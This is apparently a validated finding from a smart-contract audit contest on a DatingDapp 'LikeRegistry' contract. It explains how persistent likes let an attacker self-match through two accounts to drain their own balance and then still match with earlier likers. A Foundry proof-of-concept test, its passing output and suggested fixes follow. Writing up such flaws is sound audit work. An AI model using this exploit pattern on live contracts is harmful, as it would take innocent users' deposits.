DatingDapp

First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Exploitation of `LikeRegistry` Matching Mechanism for Unauthorized Fund Withdrawal and Repeated Matches

Summary

The LikeRegistry smart contract allows users to like other users and get all payments upon mutual likes through a matchmaking system. However, the contract is vulnerable to an attack where malicious users can exploit the system by baiting others, pooling out all his payments, and still getting matched with other users despite having a zero balance. This creates an unfair advantage for attackers and compromises the integrity of the matchmaking system.


Vulnerability Details

Issue: Exploitation of the likes Mapping and Balance Reset

Root Cause

  • The likes mapping is not reset after a match is made. This allows attackers to repeatedly exploit users who previously liked them.

  • The contract does not validate whether the msg.sender has a non-zero balance before performing operations in the likeUser function.

Proof of Concept

The provided PoC demonstrates how the attacker uses their own accounts to bait and drain funds, while still benefiting from matches with other users despite having no balance left.

Steps to Exploit

  1. An attacker (AttackerAddress1) and their second account (AttackerAddress2) mint Soulbound NFTs to participate in the matchmaking system.

  2. AttackerAddress2 likes AttackerAddress1 to bait other users by increasing their match potential.

  3. Innocent users like AttackerAddress1, contributing funds to the attacker's balance.

  4. The attacker triggers a self-match between AttackerAddress1 and AttackerAddress2, withdrawing their entire balance through the matchRewards function.

  5. Despite having a zero balance, AttackerAddress1 can still get matched with previously interacting users due to the persistent likes mapping and exploit funds from other innocent users.

Code

Here is the code the prove the scenario. Create a new test file LikeRegistryTest.t.sol and add to the test/ directory.

Then run the command below;

forge test --mt test_matchProfilesWithNoBalance
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {LikeRegistry} from "../src/LikeRegistry.sol";
import {SoulboundProfileNFT} from "../src/SoulboundProfileNFT.sol";
import {console, Test} from "forge-std/Test.sol";
contract LikeRegistryTest is Test {
SoulboundProfileNFT soulboundNFT;
LikeRegistry likeRegistry;
address attackerAddress1 = makeAddr("ATTACKERADDRESS1");
address attackerAddress2 = makeAddr("ATTACKERADDRESS2");
address innocentUser1 = makeAddr("INNOCENTUSER1");
address innocentUser2 = makeAddr("INNOCENTUSER2");
address innocentUser3 = makeAddr("INNOCENTUSER3");
uint256 constant STARTING_BALANCE = 100 ether;
uint256 constant DEPOSIT_AMOUNT = 1 ether;
function setUp() public {
soulboundNFT = new SoulboundProfileNFT();
likeRegistry = new LikeRegistry(address(soulboundNFT));
vm.deal(attackerAddress1, STARTING_BALANCE);
vm.deal(attackerAddress2, STARTING_BALANCE);
vm.deal(innocentUser1, STARTING_BALANCE);
vm.deal(innocentUser2, STARTING_BALANCE);
vm.deal(innocentUser3, STARTING_BALANCE);
}
function test_matchProfilesWithNoBalance() public {
//Mint profile for all users
vm.prank(attackerAddress1);
soulboundNFT.mintProfile("AttackerAddr1", 25, "ipfs://profileImage");
vm.prank(attackerAddress2);
soulboundNFT.mintProfile("attackerAddress2", 25, "ipfs://attackerAddress2");
vm.prank(innocentUser1);
soulboundNFT.mintProfile("innocentUser1", 28, "ipfs://innocentUser1");
vm.prank(innocentUser2);
soulboundNFT.mintProfile("innocentUser2", 42, "ipfs://innocentUser2");
vm.prank(innocentUser3);
soulboundNFT.mintProfile("innocentUser3", 33, "ipfs://innocentUser3");
//Attacker uses his second address as a bait to fund original address
vm.prank(attackerAddress2);
likeRegistry.likeUser{value: DEPOSIT_AMOUNT}(attackerAddress1);
//innocentUser1 likes attackerAddress1 and also innocentUser3
vm.startPrank(innocentUser1);
likeRegistry.likeUser{value: DEPOSIT_AMOUNT}(attackerAddress1);
likeRegistry.likeUser{value: DEPOSIT_AMOUNT}(innocentUser3);
vm.stopPrank();
//Now attackerAddress1 Balance is 2 ETHER
//Now innocentUser3 Balance is 1 ETHER
//innocentUser2 likes attackerAddress1 with 1 ether
//innocentUser2 likes innocentUser3 with 5 ether
vm.startPrank(innocentUser2);
likeRegistry.likeUser{value: DEPOSIT_AMOUNT}(attackerAddress1);
likeRegistry.likeUser{value: 5 ether}(innocentUser3);
vm.stopPrank();
//Now attackerAddress1 Balance is 3 ETHER
//innocentUser3 likes attackerAddress1 with 1 ether
//innocentUser3 likes innocentUser3 with 5 ether
vm.startPrank(innocentUser3);
likeRegistry.likeUser{value: DEPOSIT_AMOUNT}(attackerAddress1);
likeRegistry.likeUser{value: 5 ether}(innocentUser2);
vm.stopPrank();
//Now attackerAddress1 Balance is 4 ETHER
//Now innocentUser2 Balance is 5 ETHER
//Now innocentUser3 Balance is 6 ETHER
//Attacker is ready to launch attack and uses his attackerAddress1 to like his second address attackerAddress2 so there will be a match
vm.prank(attackerAddress1);
likeRegistry.likeUser{value: DEPOSIT_AMOUNT}(attackerAddress2);
//! With this, it is expected for the balance of both attackerAddress1 and attackerAddress2 to be 0.
//Asserts that attackerAddress1 has been matched to attackerAddress2
assertEq(likeRegistry.matches(attackerAddress1, 0), attackerAddress2);
//Now attackerAddress1 Balance is 0 ETHER
//While innocentUser2 Balance is still 5 ETHER and innocentUser3 Balance is still 6 ETHER
//Here is the problem, attacker can still like and get matched with innocentUser2 and innocentUser3 since it is still `True` in the `likes` mapping
assertTrue(likeRegistry.likes(innocentUser3, attackerAddress1));
//This means attacker can still match with innocentUser2 of 5ether and innocentUser3 of 6 ether balance even when attacker balance is 0
// He can do this for all other users that have liked him previously and take away from other users funds too, even though he now has 0 Ether.
vm.startPrank(attackerAddress1);
likeRegistry.likeUser{value: DEPOSIT_AMOUNT}(innocentUser2);
likeRegistry.likeUser{value: DEPOSIT_AMOUNT}(innocentUser3);
vm.stopPrank();
//Assertion that attackerAddress1 gets matched to other users even though he has no balance left after getting matched to himself
//And with 0 balance, he got matched with others to benefit from their balance
assertEq(likeRegistry.matches(attackerAddress1, 0), attackerAddress2);
assertEq(likeRegistry.matches(attackerAddress1, 1), innocentUser2);
assertEq(likeRegistry.matches(attackerAddress1, 2), innocentUser3);
}
}

Bash Result

─░▒▓~/2025-02-datingdapp ································································································ ▓▒░
╰─ forge test --mt test_matchProfilesWithNoBalance -vvv
[⠒] Compiling...
No files changed, compilation skipped
Ran 1 test for test/LikeRegistry.t.sol:LikeRegistryTest
[PASS] test_matchProfilesWithNoBalance() (gas: 3698025)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 12.95ms (3.62ms CPU time)
Ran 1 test suite in 28.55ms (12.95ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

The vulnerability allows an attacker to:

  1. withdraw all their funds via a self-match without resetting the likes mapping.

  2. Exploit innocent users who have previously liked them, resulting in repeated matches and unfair rewards.


Tools Used

  • Foundry: Used to write and execute the PoC test cases (forge-std library).

  • Manual Review


Recommendations

To address the vulnerability, the following recommendations should be implemented:

1. Validate User Balance Before Matching

  • Add a check to ensure that the msg.sender has a balance greater than 0 in LikeRegistry::matchRewards before proceeding with a match.

function matchRewards(address from, address to) internal {
uint256 matchUserOne = userBalances[from];
uint256 matchUserTwo = userBalances[to];
// Since `to` is `msg.sender`
+ require(userBalances[to] > 0, "Insufficient balance for matching");
...
}

2. Reset likes Mapping After a Match

  • Introduce an array to track all users who liked a particular user and iterate over it to reset the likes mapping after a match in LikeRegistry::likeUser.

+ mapping(address => address[]) public userLikes;
function likeUser(address liked) external payable {
// Existing validations...
likes[msg.sender][liked] = true;
+ userLikes[liked].push(msg.sender); // Track who liked this user
emit Liked(msg.sender, liked);
if (likes[liked][msg.sender]) {
matches[msg.sender].push(liked);
matches[liked].push(msg.sender);
emit Matched(msg.sender, liked);
matchRewards(liked, msg.sender);
// Reset likes
+ for (uint256 i = 0; i < userLikes[msg.sender].length; i++) {
+ likes[userLikes[msg.sender][i]][msg.sender] = false;
+ }
+ delete userLikes[msg.sender];
+ for (uint256 i = 0; i < userLikes[liked].length; i++) {
+ likes[userLikes[liked][i]][liked] = false;
+ }
+ delete userLikes[liked];
+ }
}
Updates

Appeal created

n0kto Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_several_match_lead_to_multisig_with_no_funds

Likelihood: Medium, if anyone has 2 matches or more before reliking. Impact: Medium, the user won't contribute to the wallet.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.